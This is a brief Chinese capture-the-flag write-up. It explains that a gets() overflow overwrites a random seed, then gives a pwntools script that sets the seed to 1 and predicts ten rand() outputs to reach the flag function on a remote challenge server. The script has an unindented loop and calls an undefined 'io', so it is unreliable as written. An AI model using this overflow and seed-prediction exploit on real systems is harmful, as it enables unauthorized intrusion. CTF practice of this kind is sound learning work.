第一步 checksec查壳
ida分析,可发现执行sub_C3E()时可以得到flag
于是我们想办法让程序执行到sub_C3E,需要连续猜对10次数字,我们发现程序通过seed生成随机数,如果能把seed覆盖为已知数,就很容易完成了,前面的gets刚好给我们覆盖的机会
gets的地址是var_30
查看栈,var_30存在栈帧中占20h,后跟着seed的值的确可覆盖
利用srand编写exp
#!/usr/bin/env python
from pwn import *
from ctypes import *
p = remote('111.200.241.244', 39237)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a' * 0x20 + p64(1).decode()
p.recvuntil('Your name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
p.recvuntil('number:')
p.sendline(num)
io.interactive()